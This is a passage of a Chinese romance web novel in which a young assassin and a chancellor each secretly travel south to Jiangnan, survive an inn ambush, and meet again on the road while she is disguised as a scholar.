萧恒有些奇怪的看着自己手里染了血的匕首,不知道她为何突然亲自动手了。但是任务已完成,此地不宜久留,二人快速离开。
到了白府门口,萧恒还是没忍住问了出来:“去江南呆多久?安排几个人跟你一起?”
白妙可摇头:“不用了,人多了不方便,之前派过去的那几个人还在江南呢,我到了会联系他们。”
“我不在的时候,拜托你照看一下我爹他们。”虽说白家在京城一向与人为善,但是难保不会有些红眼病上门找麻烦。
萧恒颔首:“那是自然。”白家对他有恩,派些人手保护白家是应该呢。
白妙可冲他感激地笑了笑,便抬步往里走去。
身后传来一声低沉的注意安全,她摆摆手没有回头。
第二日,一声尖叫打破了清晨的宁静,新科进士横死街头的消息立刻传遍了大街小巷。
大理寺很快便来人封锁了现场,仵作验尸官员记录,没什么挣扎打斗的痕迹,基本可以判定是武艺高强之人一击毙命。
因为此人是新科进士,大理寺卿便派人将卷宗送至丞相那里,方便安排新的官员替代这位。
陆瑜收到卷宗的时候正在书房看书,今日是他休沐的日子。
富贵在门口禀报:“公子,今早在南大街附近发现了一名新科进士的尸体,大理寺送来了卷宗。”
陆瑜回:“拿进来。”
从富贵手里接过卷宗,陆瑜一目十行地看完,道:“死的居然是孙禄仁。”
这人他有印象,是康王塞进来的人,没什么才能,本来是打发他去做个抄录编纂的工作,没想到还没上任人就没了。
他看着卷宗上凶器那栏写的飞镖,第一时间想到的是月色下的红裙少女,又否定了自己的猜测,她应当不会知晓此事,便是知晓了也不会为此杀人吧……
吃过午饭,他便带着自己最近查到的东西,还有从白妙可处得来的书信进了宫。
皇帝凝着眉头看完了他递上来的折子,负着手在御书房内踱步。
“康王!好大的胆子!呵,真是朕的好皇兄。”
陆瑜又从袖中取出那张写着“年底江南取货”的字条递给皇帝。
皇帝接过看完,生气道:“他到底在筹谋些什么?!”
屋里只有二人,陆瑜躬身给皇帝倒了杯茶,才开口道:“陛下,臣怀疑康王与一些朝臣在谋划什么,他们的大本营很可能就在江南某地。”
他没有直说这些朝臣之首就是太傅马鸿哲,但是此事君臣二人都心知肚明。
皇帝此时也冷静了下来,细细思索这一连串的信息。
短暂的沉默之后,皇帝突然开口:“姑苏!你替朕去趟姑苏吧,朕的外祖父家在那里,太傅既然在江南见过母妃,那大概率是在姑苏。”
陆瑜点头领命,接着问道:“请问陛下,我以何名义去江南?”
皇帝略一思索,道:“秘密前往,若是被太傅知道恐怕会有危险,朕也会派锦衣卫保护你。”
皇帝说的没错,他若是前去江南当真找到了什么确凿的证据,别说太傅了,便是康王这位亲王也要倒台,因此这次的行踪必须保密。
君臣二人又在御书房商讨了更多细节,距离信上写的十月底还剩不到一个月的时间,十分紧迫,最后定在后日出发。
天色擦黑的时候陆瑜才回了镇国公府,陆老爷陆夫人已经吃完晚饭在花园散步了,听见儿子回来了也没怎么放在心上。
陆瑜只能前往花园,远远就看见手挽手的父母,他无声地叹了口气,走上前去:“父亲,母亲。儿子后日要去江南了。”
陆夫人惊讶道:“怎么这么突然?去江南做什么?”
不能将朝政机密说出来,陆瑜只能道:“皇帝交代我去江南做些事情,此行极为机密,万不可泄露出去。我会称病在家不出,希望父亲母亲能配合我遮掩一二。”
听见这话,陆家二老的神色也严肃了起来,陆老爷问儿子:“可会有危险?”
陆瑜心里很清楚,此行何止是危险,自己很可能再也回不来了。他无法向父母解释更多,只道:“儿子不孝。”
二老一时没有回话,空气中弥漫着寂静。
陆夫人还是开口了:“多带些侍卫吧,天气也快冷了,不知道你去待多久,带些冬衣,快回去休息吧,母亲明日帮你准备。”
既然是秘密出行,无论是护卫还是随身行李都是越少越好,既不会引人注意也方便赶路。但是他不忍拂了母亲的好意,只是点头应是,在银白的月光中一个人离开后花园。
第二日他便没有去上朝,并派人散出丞相重病卧床,闭门谢客的消息。
一时之间,官员们议论纷纷,有人说陆瑜此举是暂避锋芒,给新入朝的官员更多机会;也有人说是丞相又遇刺了,并且这次比上次更为严重,性命垂危,恐怕朝堂局势要变天了。
对于这些流言,陆瑜并
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没有过多澄清,只是安排了几个信任的官员暂时稳住朝廷局势,一切等他回来再说。
为了保险起见,他还寻了一位身形与自己相仿的门客假扮自己,必要的时候躺在账内也能应付一二。
此外还要安排明日出行的事宜,既然是秘密出行,肯定不能用真实身份,他准备假扮成一位商人,从皇帝那里借来的十名锦衣卫中的高手扮成自己的家丁和护卫,贴身小厮就带了富贵一人,给所有人都安排了假的户籍路引,办妥一切的时候已经是傍晚时分了。
富贵正在给他收拾路上要带的衣物,突然从一堆衣物中掉出一块明显是女子用的的手帕,他有些好奇的问:“公子,这手帕是?”
陆瑜接过来发现是白妙可醉酒那日落下的,他轻轻摩挲着柔软的面料,仿佛又闻见了那淡淡的栀子花香。
他突然说:“先别收拾了,陪我出去一趟。”
富贵手里还拿着衣服,心里很是奇怪,公子已经对外称病了,是有什么重要的事情要现在出去呢。
但是嘴上只是问:“公子要去哪儿?”
陆瑜想了想,不太确定那只飞来飞去的蝴蝶现在可能在哪儿。
过了片刻他才开口:“从后门走,去白府。”
听到白府,富贵立刻就懂了,揶揄地应了声,便要出去准备马车,陆瑜拦住了他,道:“不用马车,走过去即可。”
富贵这次是真的瞪大了眼睛,想看看这还是自己那位出门必坐马车的矜贵主子吗?
陆瑜有些不自在的解释道:“马车目标太大,走过去不会引人注目,再准备两个帏帽。”
看着主子悄悄红起来的脸,富贵没再调侃,暂时放下紧张的心情去准备了。
一刻钟之后,陆府隐蔽的后门悄悄溜出来两个衣着朴素带着帏帽的身影,两人走出小巷后很快混入了南大街的人流之中。
白府的宅子在相对繁华的城西附近,两人走了一刻钟左右便看见了那金光闪闪的白府二字。
富贵低声问:“公子,我去敲门?”
陆瑜摆手,走上前去自己轻轻在木门上叩了两下,隔着帏帽看不清楚,但是富贵好像看见自己主子长长吐气引起的胸膛起伏。
白府的下人很快来开门,看见门外这两个看不清脸的人,问道:“二位找谁?”
陆瑜自己开口:“找你们府上小姐,劳烦通禀一下。”
下人犹豫片刻还是将这两个有些奇怪的人领进了门,主仆二人跟着一路走一路看,富贵不断在心里感叹白家的装潢之奢华,游廊庭院,一步一景,他也是跟着主子进过宫的,白家的装饰摆设跟皇家相比也是不遑多让。
陆瑜倒是一路沉默直到前厅。
看见门外出现的身穿素白色纱裙的少女,陆瑜内心庆幸自己好运碰见她恰好在家。
他感觉自己的心跳随着少女的脚步声接近而越来越快,他其实并没想好要找她做什么,只是想到自己若是丧命江南,那必然会后悔今日没来见她最后一面。
他也不知道自己的这种情愫从何而起,或许是在那个月色朦胧的初见,或许是在那个混乱的醉酒夜,他很清楚,黑夜中前行的人怎么能肖想明月,但是此刻想见她的心却是一发不可收拾。
20. 分头启程
陆瑜被迎进门,在白妙可走进打量他的时候,他主动将帏帽掀了起来。
白妙可那双仿佛会说话的眼睛惊讶地瞪大,第一时间将他的帏帽盖了下去,挥手让身边的下人都退下,富贵此刻也识趣地退到门外立在一侧。
等厅内只剩下两人了,白妙可才又将陆瑜头顶帏帽上的纱帘掀开,心里不合时宜地想,好像在给小媳妇掀盖头啊……
待看清陆瑜那张依旧俊秀的脸,她才放下一直提着的心,好奇地问:“你不是生病了吗?”
“没病。”陆瑜半天就憋出来两个字。
白妙可心想,他不会是知道自己明日启程江南,特意来告别的吧?这人已经这么手眼通天了吗?
她直接问道:“那你来做什么?”
陆瑜从袖中取出一块叠的整整齐齐的手帕递过去:“上次你的手帕落下了。”
没想到就是为了这事儿,白妙可有些没来由的失望,一把从他手上拿过手帕,硬邦邦地说:“多谢丞相亲自跑一趟。”
看着还举在半空的手心,听见这声生疏的“丞相”,陆瑜便知道,这位大小姐又生气了,原因他大概也能猜到,但是他实在无法告诉她自己明日便要前往江南且凶多吉少的事情。
他略带无奈的说:“陆某想说的是,若是姑娘愿意,可否将此手帕送与我?”
姑娘家的手帕算是比较私密的物件,白妙可也听说过有些规矩刻薄的世家贵女因为丢了一条手帕被人捡到而名声受损的事情,但是她向来是不在意这些的,所以上次发现手帕丢了也没去找。
她不信出身名门贵族的陆瑜会不知道这些,那他求自己的手帕是为了什么就不言而喻了,这次就算是白妙可再迟钝也觉察出了他的意思。
自己都准备放他一马了他居然自己找上门来了,白妙可一时有点可惜自己明日就要去江南了。
她一向不喜欢拖拖拉拉,索性这件事没什么可瞒着的,她看着陆瑜的眼睛道:“我明日便要动身前往江南了,不定归期。”
聪明人讲话点到为止,其余的话白妙可没说出口,别说让这位丞相大人等了,连她自己都不确定回来以后还会不会痴迷这张俊脸。
听完这话,陆瑜语气难掩激动:“你要去江南?”
白妙可不明所以地点头:“对啊。”
显然不知道对方为何突然这般激动。
陆瑜心想:她不会是专门为了陪我吧。
冷静片刻,他按下内心的狂喜,想到了她一直在查的事情,可能这才是她去江南的原因。
从进门起便面色沉重的陆瑜终于露出了一个微笑,彬彬有礼道:“那大小姐最好晌午之前出发,晚了可能赶不上落脚津城。”
陆瑜心想:这暗示够明显了吧,我在津城等你!
白妙可挑眉,疑惑他怎么会是这个反应,还突然提起来什么驿站。还有这虽然很俊但是欠揍的笑,看起来像是盼着自己走一样,她的火又蹭的一下冒了出来。
她抬手啪的一下将他的帏帽盖上,压得陆大丞相的头低了下去,陆瑜忍住揉一揉脑袋的冲动,问:“大小姐,又怎么了?”
白妙可恼羞成怒地哼了一声,将人往外推:“天色不早了,孤男寡女共处一室不合规矩。”
这话陆瑜自认为是君子无法反驳,但是她上次半夜翻墙去找自己的时候怎么不提孤男寡女不合规矩,这话他很明智地没有说出口。
只是任由她将自己推出门外,出门就看见富贵还带着帏帽直愣愣地站在门口,随着身后的门砰的一声关上,主仆二人面面相觑。
富贵有些紧张的观察自家公子的脸色,没想到被赶出门的人隔着帏帽都能看出来一脸春风拂面。
富贵:……
离开白府,二人又原路走回陆府的时候已经接近夜半了。
。
在清晨天蒙蒙亮的时候,陆瑜与富贵便在京郊出城口的位置与皇帝派来的十名锦衣卫汇合。
陆瑜便作为商队的主家乘马车,富贵还是作为他的小厮替他赶车,其余锦衣卫骑马跟在车后,赶着几辆装着绸缎的板车,一行人扮做南下的绸缎商队,有了陆瑜提前准备好的假身份和路引,一行人顺利出城往南。
陆瑜安排车队沿着官道往南走,这样在下午便可到津南的驿站歇脚。
一路上陆瑜都挑着马车侧面的窗帘左看右看,看起来还真是一副游山玩水的富商少爷模样。
此处距离京城也不过百里,绝不会有什么土匪之流,一行人在陆瑜的授意下不紧不慢地赶了半天路就到了津南。
富贵在车外问:“公子,时间比预期的早了一个时辰,若是继续上路应该能在天黑前赶到下一处城镇落脚。”
陆瑜仍旧是漫不经心看向窗外的样子,回:“不必,就在津南休整一晚,找城中最好的客栈。”
“好!”本以为这一路会是风餐露宿的富贵高兴应是。
一行人进城以后便直奔城中最大的客栈,安顿好车马和住宿,陆瑜便找了一处二楼临窗的位置坐着喝茶,目光投向窗外。
一坐就是一下午,直到太阳逐渐西斜,富贵看着自家主子那面无表情的俊美侧脸,问道:“公子在等人吗?”
陆瑜看了眼天色,没回答他的问题,只是问道:“城门关了吗?”
富贵出去问了店家,很快回来回话:“城门已经关了,公子要现在用膳吗?”
陆瑜摇了摇头,叫来锦衣卫的头领戎青问话:“你们下午在城中可有发现一名十七八岁的女子进城?”
虽然不知丞相大人为何刚出京城就要找一个姑娘,但是他受圣上之命,在外一切听丞相吩咐。
戎青恭敬回:“禀丞相,属下带人在入城口和各大客栈蹲守,均未看见有类似女子入城。”
虽然觉得金贵的白大小姐必然会住在城中最好的客栈,但是一向谨慎的陆瑜还是派了八名锦衣卫外出查探,没想到居然一无所获。
难道白妙可因为什么事情绊住了脚?
他不禁皱起眉头,这一路很是太平,以她的身手也不应该会有什么事情,一向神机妙算的陆瑜一时之间竟然没什么头绪。
还在躬身等着下一步指令的戎青看着丞相逐渐凝重的神色,犹豫开口:“丞相大人,属下可以再带人去各个客栈搜寻一番。”
陆瑜摆手:“别再叫丞相了,叫少爷吧
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。兄弟们辛苦了,不用再搜了,吃完饭早些休息,明日继续出发。”
戎青领命退下。
一直站在旁边的富贵此时才知道自家公子居然在找一个姑娘,他一时不太确定是不是昨日见得那位,犹豫着问:“公子,是白姑娘吗?”
听见这话,陆瑜只是淡淡瞥了他一眼,道:“用饭吧。”
知道主子不喜欢在人多的地方,富贵便叫小二将饭菜送到公子的房间,自己去一楼大堂跟锦衣卫的人一起用饭去了。
作为津南最大的客栈,一楼的大堂此刻几乎坐满了人,多是住在此处的客人。
富贵一下楼便看见了一身布衣围坐两桌的锦衣卫众人,他径直朝着那边走去,自然就没注意到大堂的角落里坐着两个身材纤细面貌清秀的公子。
此时,男扮女装的白妙可和春杏正坐在大堂角落的桌边,两个人对外声称是科举未过,南下返乡的学子。
白妙可在女子中算是高挑的,就扮做大哥,春杏比她略矮,扮做二弟,两人一身朴素布衣,身形纤细倒是很像是瘦弱的读书人。
春杏作为白妙可的贴身丫鬟,两个人是自小长到大的情义,白妙可本来是准备自己一个人去江南的,谁知道春杏得知此事也非要跟来,她自小也是跟着小姐一起学过一点功夫的,便是帮不上太多忙,也可以照顾小姐的起居,不会拖后腿。
白妙可也没想太多便答应了,路上有个说话的人也好啊。
此时两人就在边吃饭边讨论着周围的人,白妙可给春杏悄悄指了指坐在左侧的两桌人,小声道:“这两桌人绝对是有些功夫的,你看他们随身带着的包袱里面,不是刀也是其他武器。”
春杏也顺着视线看过去,赞同地点头:“小姐懂得真多。”
白妙可啧了一声:“出门在外要叫大哥!”
意识到说漏嘴了,春杏紧张地看了一圈,发现刚才那两桌人多了一个打扮不太一样的人——正是刚坐下的富贵。
仅能看到一个侧脸,春杏没能认出来他,转过头继续跟白妙可说话。
这时白妙可的注意力被刚坐下的另一桌人所吸引,那桌人数量不过五六个,但是从他们走路的神态和谨慎的神情白妙可便看出来,这应该是江湖人士,可能与月影阁做得勾当类似。
一桌人正好坐在白妙可她们二人旁边的空桌,人高马大的将二人遮的严严实实。
他们坐下以后点了些酒菜,除此之外没有任何多余的交流,但是凭借多年杀手的经验白妙可还是发现他们扫向另外两桌人的视线。
过了片刻,其中一名一身腱子肉的壮汉低声开口:“他不在。”
另一个男人说:“他的贴身侍卫在。”
其余人便只是点头,全程沟通不过半盏茶的功夫。
白妙可正竖着耳朵听呢,自然没错过这段对话,她有些好奇他们要找的人是谁,但是行走江湖自然是多一事不如少一事,她便低头吃菜,假装什么都没听见。
虽然觉得对方不会在客栈大堂动手,但是白妙可还是没过多久就带着春杏回了各自的房间,她刚出门第一天,可不想惹上麻烦,最好的办法就是关紧房门,充耳不闻。
21. 荒野相遇
夜半时分,空等一天的陆瑜躺在床上翻来覆去睡不着,干脆坐起来看着展开的舆图,在心里将南下的路线又规划了一遍。
从京城出发南下必然会经过津南,她没到这里,莫非是有什么事绊住了脚没能按时出发?
就在陆瑜暗暗思索之时,外面传来打斗的声音。
在隔壁随时戒备的戎青在外敲门:“公子,有刺客,我先带你避一避。”
陆瑜收起舆图跟着他出了房门,外面锦衣卫正与四五个蒙面人缠斗,看身形正是晚上在大堂的那几个江湖人士。
戎青带着陆瑜避开了打斗中心,向着另一侧的楼梯快步走去,路过了房门紧闭决心不再管闲事的白妙可的房间,两人进了客栈后院。
暂时安全了,陆瑜也做了决定:“解决他们以后,立刻收拾东西出发。”
戎青紧握长刀戒备四周,低声应是。
又过了两刻钟,打斗声渐消,房内的白妙可摇头叹气:居然打了这么久,终于可以睡觉了……
一行人趁着夜色悄悄从客栈后门离开。
陆瑜坐在马车内听戎青汇报情况:“禀公子,对方一共五人,看招式像是江湖人士,没抓到活口,跑了一个。”
陆瑜点头,接着问:“我们的人可有受伤?”
戎青答:“有两人受了些皮外伤,没有性命危险。”
陆瑜道:“趁着夜色赶路,天亮后再去寻个大夫来。”
戎青应是退下。
一时间安静的夜色中,只有马蹄声和车轮的滚动声阵阵。
陆瑜沉默地坐在车内,他没想到自己刚出京城就被盯上了,此行或许比想象中更危险……
至于白妙可,肯定没办法再停下来等她了,陆瑜只叹二人缘份不够,又后悔昨日见面没说清楚自己的心意,还莫名其妙将人惹得不快。
陆瑜在心中暗想,下次见面可得将人哄好,又隐隐担心自己此行凶险恐怕无缘再见。
陆瑜临时修改了行程,一行人在天亮之前赶到了临近的一处小镇,休整片刻,寻来大夫替昨夜受伤的锦衣卫包扎上药。
看着他们身上血淋淋的伤口,陆瑜始终眉头紧皱,对着舆图将本来规划好的路线给改了,为了避免暴露行踪,不能只走官道了,他选了几条更近的小路。
在小镇休整了半日,吃过午饭后一行人按照陆瑜重新规划的路线继续出发。
马车拐上了不那么平稳的小路,并且加快了行车速度,坐在马车里的陆瑜感觉屁股都要颠坏了的时候,终于停车休息。
已经是申时,他下马车看了一下周围的环境,找来富贵:“附近应该有水源,带两个人去找一下,今晚就在这附近扎营。”
不过一刻钟的功夫他们就回来了,富贵上前禀报:“公子,前面两三百米有条小溪,地势平缓,可以在那边将就一晚。”
陆瑜点头,一行人很快就到了那边。陆瑜将十人锦衣卫分成三组,除去受伤的二人,一组留在此地扎营,一组去找些生火的工具,还有一组在附近探探路,确保安全,众人领命很快四散开来。
陆瑜和富贵留在平地旁边搭手帮忙,注意到自家公子一路以来的低沉情绪,富贵主动开口道:“公子,要派人继续找白姑娘吗?”
陆瑜淡淡道:“她也要去江南,可能被什么事情给绊住脚了。”
富贵听了很是高兴,心想若是白姑娘能与公子同行,公子一定会很开心。他问道:“公子可知白姑娘走那条路?咱们可以派人去等等她。”
陆瑜摇头:“不知。”这也是他今日烦闷的原因,走官道都碰不上,现在抄近路走小道碰见的几率便更小了。
主仆二人一时之间陷入了沉默。
天色逐渐黑了下来,很快几个简易的帐篷搭了起来,还有几个侍卫在附近抓到两只兔子正蹲在火边烤,几人就着带着的干粮分食了些烤兔肉。
吃过晚饭,几个身强体壮的小伙子就脱了衣服下水洗澡,他们热情邀请丞相大人,当然是被拒绝了。从小矜贵的陆瑜暂时还接受不了在野外洗澡。
几乎是一夜没睡,加上又赶了一天路,众人也都精疲力尽了。为了防止野外有野兽出没,锦衣卫依旧分为三组轮流守夜,保证安全。
陆瑜跟富贵一间帐篷,富贵几乎是一沾枕头就响起了有节奏的呼噜声,最初富贵是要为陆瑜单独准备一间的,只是为了省事陆瑜就提议两人一起凑合一晚,此刻陆丞相就是后悔,非常后悔……
正当他好不容易陷入睡眠的时候,外面响起来了一声呵斥:“什么人?”
听出来正是戎青的声音,陆瑜刚起来的那些瞌睡立刻散去,凝神勉强从规律的呼噜声中辨认外面的声音。
“兄弟,我跟我大哥是落榜的学子,不小心走错路了,这深更半夜的能不能让我俩一个帐篷将就一晚?”一个略显青涩的声音道。
戎青听见是学子,语气稍缓,但还是语气坚决:“没有多余的帐篷,你们快走吧。”
“兄弟,我看你们身后这个不就空着吗?你俩反正也不睡,就让我们兄弟二人将就一晚呗,我们可以给银子。”对方还在试图说服戎青。
戎青依旧是硬邦邦道:“我们少爷不缺银子,你们快走吧,若是吵醒我家少爷你们就惨了。”
“好兄弟,大半夜的我们两个瘦弱书生,哪有地方可去啊。”对方放软了语气道。
另一道更加清脆的声音响了起来:“走吧二弟,咱们接着赶路,便是路上被野猪狗熊什么的吃了也只能怪我们命不好。”
听见这话,戎青毕竟是一身正气的锦衣卫统领,虽然知道这并不是真正的深山,几乎不可能有什么猛兽,但是身为官员的他,看着面前两个身形瘦弱的书生难免生出几分恻隐之心。
正当他犹豫不决之际,听见主营长中传来陆瑜的轻咳,他立刻走过去:“抱歉公子,吵醒你了。有两个路过的书生想要借住我们的帐篷,你看?”
陆瑜刚才已经将他们的对话听了个清楚,他低声吩咐:“让他们住吧,天亮前走。”
这两个借住的书生正是走错路的白妙可和春杏。
今日白妙可睡到日上三竿才起床,两人吃饱喝足便继续出发,白妙可看着舆图上七拐八拐的官
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道,对着春杏手指在舆图上笔画出一条直线,胸有成竹地说:“咱们骑马不用走官道,直接走直线更近,快些走应该能赶上去业城住。”
春杏听了立刻拍手称绝:“大哥太聪明了!”于是这“两兄弟”就照着刚画好的直线路线骑马出发了。
一开始还算顺利,走了一个多时辰以后,地势越来越陡峭,树木杂草也逐渐有半人高,连两人从京城带来的快马都没法通过了,春杏才小声道:“大哥,我们好像要进山了。”
白妙可也发现了这个问题,她秀气的眉头拧起,表情郁闷,任谁看了都像一位男生女相的阴郁公子。
她有些懊恼地挠了挠头,被迫放弃了继续往前走的计划,扬手调转码头,沿着平缓的山坡企图找到有人经过的痕迹。
两人又沿着山脚走了一个多时辰,才发现了一条有新鲜马蹄和马车印记的小路。此时太阳已经开始西斜了,白妙可当即决定沿着这行痕迹走,碰上好心人最好,便是碰上坏人那只能怪他们倒霉咯,白妙可觉得偶尔做个惩恶扬善的女侠也挺好。
走着走着,马车的痕迹却在转弯处消失了,白妙可没想到对方还挺谨慎的。春杏犹豫地问:“大哥,这下该往哪边走?”
白妙可下马蹲在路边,分别低头嗅了嗅,便抬手指了个方向。春杏好奇问:“大哥闻出来什么了?”
白妙可故作高深的摆手道:“天机不可泄露。”
她可不能跟春杏说自己在闻马粪,毕竟痕迹可以掩盖,但是味道确是短时间内难以消除,只要经常骑马的人对这个味道应该都很熟悉,她还是想在春杏面前维持机智大小姐的形象。
春杏果然露出崇拜的神情:“小姐也太全能了!”
白妙可拿着折扇在春杏脑门上轻轻一敲:“叫大哥!”
春杏这才意识到自己一时激动叫错了,赶忙喊了声大哥,催马追上已经笑着往前的白妙可。
两个人的笑闹声随着天色黑下来而渐渐停下,白妙可让马放慢速度,仔细观察着周围是否有火光,找了一刻钟以后,功夫不负有心人,她在河边发现了扎营的一行人。
她与春杏将马远远拴在树下,自己则纵身跃上一颗大树,从高处粗略数了一下对方大概十几个人,看起来都有些功夫,因为天色很暗加上距离有些远,她自然没看见一个人安静吃饭的陆瑜。
本来想等他们吃完饭就过去交涉一下问问能否借个帐篷,没想到一群大老爷们吃完饭就开始洗澡,白妙可虽然上次隔着屏风看过陆瑜洗澡,但是这种一群裸男的场面还是算了,她便趁着这个时间跟春杏把中午打包的饭菜吃了。
两人吃饱喝足再去看那群男人,居然已经睡了。
白妙可:“……吃饱就睡啊。”
注意到还有两个人在巡逻,白妙可跟春杏还是走过去交涉一下,于是就有了刚才的对话。
骑马走了半天山路的二人终于躺到了略显简陋的帐篷当中。
侧耳听了一会儿,没什么发现什么异常。白妙可将随身带的匕首握在手中,这才浅浅睡去。
伴随着虫鸣和风声,一夜好眠。
22. 脑补冠军
清晨的第一缕阳光洒在凝着露珠的枝头,雾蒙蒙的的空气中弥漫着青草的味道,几匹骏马在溪边饮水。
明明是一派宁静祥和的早上,白妙可的心情确是很不美丽。
因为昨天那个黑脸男人居然天不亮就把自己叫醒了!
“起来了?你们快走吧。”他公事公办地说道。
被迫起床的白妙可很不高兴,她可以忍受骑马的颠簸,但是不能忍受早起的痛苦。
十分了解自家小姐起床气的春杏站在一边低头不语,在心里默默替这位脸臭但心善的大哥默哀。
果然白妙可一改昨天的委屈柔弱书生形象,带着些无赖的口吻说道:“这地方又不是你家的,凭什么让我们走?”
听见这话,锦衣卫领队戎青也不是吃素的,从背上将刀取下来语带威胁道:“我们公子不喜见外人,再不走可别怪我欺负书生。”
戎青是压低声音说的,白妙可并没有刻意放低声音,因此有几个听见声音的锦衣卫已经围了过来。
白妙可暗自打量了一下他们训练有素的样子,每一个单领出来都不是自己的对手,但若是十个人一块,自己恐怕讨不到什么好处,更别说对方还有个一直躲在帐篷里的主子,不知是何实力。
分析利弊以后,白妙可充分发挥了能屈能伸的性格,摇起折扇又是一副君子模样,说道:“公子误会了,叨扰一晚我兄弟二人已是十分感激,自然不该再继续打扰,只是我们初来乍到不知道路,能不能劳烦您好人做到底,为我们指条路。”
这话还算中听,戎青脸色稍霁,问:“你们要去哪儿?”
白妙可粗略答了句:“我们想要去业城,该往哪边走?”
戎青心头一动,想起来丞相规划的路线,他抬手指了个相反的方向,避免后面再次遇上这两个难缠的书生。
白妙可虽然有些路痴,但是看着他指的方向正是昨日他们来时的路,便知道对方是在诓自己。
却还是带着春杏往那边去了,在路过那个所谓“公子”的帐篷时,提高音量道:“多谢兄弟,我们有缘再见。”
哼,不让她睡觉就都别睡!
帐篷内的陆瑜早就醒了,只是不想出去以免被认出来,可是刚才那声音却莫名觉得有些耳熟。
他掀帘出来就只看见一高一矮两个背影渐渐远去。
他暗嘲自己两天不见就开始出现幻听了。
休整完毕一行人继续上路。
出发不过半个时辰,就碰上了前面骑马的白妙可和春杏。
戎青远远一看就发现是那两个书生,立刻抬手停车,同马车里的陆瑜请示:“公子,又碰见那两个书生了,怎么办?”
“绕道而行吧。”
说着陆瑜便掀开马车的帘子往前看去,正好与回头的白妙可对视,即便是男扮女装他也一眼认了出来。
“好。”戎青正要去吩咐前面换个方向走。
就听见一向平淡冷静的陆大人激动开口:“不了!追上他们。”
白妙可也很诧异会在这里碰见陆瑜,原来这群人口中的公子竟然是他。
她勒马停了下来,挑眉看着一行人靠近。
马车很快追了上来,看着几日一直心心念念的人站在面前,一向巧舌如簧的丞相大人却一时不知该说些什么。
这几天陆瑜一直在后悔那日惹她不快,但是当着这么多人也不好开口,只能道:“几日不见,不知公子近来如何?”
白妙可有些疑惑地看着他,不知道他到底想说些什么。
含糊回了句:“挺好。”
这话听在陆瑜耳中就成了还在生气的意思,虽然没什么经验,但是陆瑜觉得哄姑娘应该不会太难。
既然老天又给了一次机会,这次他说什么都不会放手。
他笑道:“我也要去江南,可以与你同行。”
白妙可眼珠一转,欣然应允:“好啊。”
陆瑜笑的更开心了:她果然想与我同行,姑娘家脸皮薄,自己该更主动些的。
于是他接着道:“骑马辛苦,来马车上吧。”
白妙可果断拒绝:“多谢公子好意,我与二弟虽是书生,但是骑马的力气还是有的。”
陆瑜:……
在其余侍卫还在不明所以,警惕地打量着二人。
白妙可却毫不在意,给了春杏一个眼色,两马当先走在了前头。
戎青上前低声询问:“公子,我们也出发吗?”
陆瑜点头:“跟上,派两个人去他们前面探路。”
戎青应是,在心中猜测这两个书生与丞相大人的关系,丞相是惜才之人,莫非这两个无赖……书生身负大才?
一行人继续上路。
离得远了,春杏小声问:“大哥,我们真要跟他们一起吗?”
白妙可漫不经心地牵着缰绳道:“先跟着他们去业城,搞清楚路线了我们就先走,赶路还得坐马车,磨磨唧唧什么时候才能到。”
春杏捂嘴偷笑:“大哥真机智。”
就这么一前一后走了一上午,富贵有些无奈地看着自家主子不知第多少次掀开车帘,问道:“公子,要不停下吃饭休息一会儿?”
见陆瑜点头,他扬声对着前面两个骑马的身影喊:“二位……”
他也认出来这位是白小姐了,但是看着她的一身男装一时不知该如何开口,求助的看向陆瑜。
陆瑜开口:“白公子,就地休整一下吧。”
白妙可应声:“好。”
心想:看来丞相大人不想暴露自己的女子身份,是怕引起误会吗?
白妙可与春杏下马后坐在一棵粗壮的大树下,刚掏出随身带着的干粮准备对付一口。
就看见下车后的陆瑜向着这边走来,自然而然地坐在了白妙可旁边。
一双锐利的眸子看向春杏,春杏被盯得浑身发毛,求助似的看向白妙可,见她没什么反应,撇了撇嘴又从包袱里掏出一包干粮。
一向喜怒不形于色的陆瑜险些控制不住自己的表情,这小丫鬟居然把自己当成来要饭的了……
白妙可噗嗤笑了出来,因为连着吃了两三顿干粮的坏心情也好了不少。
她含笑开口:“丞相大人有什么话就说吧。”
看她并不打算让丫鬟回避,陆瑜也只好委婉开口道:“那日之事是我不对,你莫要同我计较了。”
白妙可愣了片刻。
过了三天,她早已将那点儿不高兴抛到了脑后,不过是一个相貌出众有点意思的男人罢了,还不值当她为此烦心。
终于回想起来的她摆手道:“没事儿,你不提我都忘了。”
一向心思缜
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密的陆丞相又想多了:她莫非是怨怪我没有与她说去江南的事情?
于是他又解释道:“圣命难违,以后不会了。”
白妙可内心:他在说些什么?什么圣命?什么叫以后不会了?
但是吃饱了的她有些困了,懒得去问太多,干脆在凉爽的树荫下仰躺在草地上,伴随着空气中金桂的香味,很快安然入睡。
陆瑜等了一会儿没听见回话,转头就看见了她安静的睡颜。
初秋的阳光透过枝叶间的缝隙零零碎碎地洒在她白皙的皮肤上,像是有无数星辰闪闪发光,让陆瑜挪不开眼。
于是一向守礼的陆丞相就这么盯着看了半个时辰。
直到戎青过来询问何时出发。
他还在犹豫着如何温柔的将人叫起来的时候,白妙可自己醒了。
她的确是睡着了,但是不妨碍她残存着一丝对外界的警惕,因此一听见戎青的声音便醒了过来。
她坐起来揉了揉眼睛,站起来拍拍身上沾的几根杂草,又是一个儒雅书生模样,仿佛刚才大咧咧睡在草地上另有其人。
看了眼还杵在旁边的陆瑜,她寒暄道:“丞相大人休息好了吗?”
言外之意是可以出发了。
陆瑜却以为她在关心自己,故作矜持地点了点头:“甚好。”
白妙可点头:“那走吧。”
说着未等他回应就带着春杏牵马去了。
下午的路程依旧是沿着陆瑜划定的小路行进,他没再邀请白妙可上车,一个人在车上闷头写写画画些什么。
中途富贵要为他侍奉笔墨都被拒绝了。
临近日落的时候,戎青前来禀报:“公子,距离最近的业城还有三十多里,是连夜赶路进城还是就近休整一夜?”
陆瑜终于放下笔,掀帘看着前面骑马的两人,淡声道:“就近扎营休息,明日入城。”
白妙可并不知有人心疼她骑马辛苦,听见声音只是在心中暗暗叹气,天知道她多想舒舒服服躺在床上睡觉。
但是没办法,她为什么非要走小路!后悔,十分后悔。
戎青效率很高,很快就找到一处平坦开阔的地方。
这次不用白妙可开口,就跟春杏分到了一个帐篷。
两人安置好身上的小包袱,白妙可主动提出来要去打点儿野味。
陆瑜:“你们两人去不安全。”说罢示意戎青安排人一起。
戎青应是,心里却是很怀疑这两个看起来手无缚鸡之力的书生能打到什么猎物。
陆瑜不擅打猎,便留在帐篷里继续写写画画。
白妙可跟春杏两人走在最前头,后面跟着几个陆瑜派过来的人。
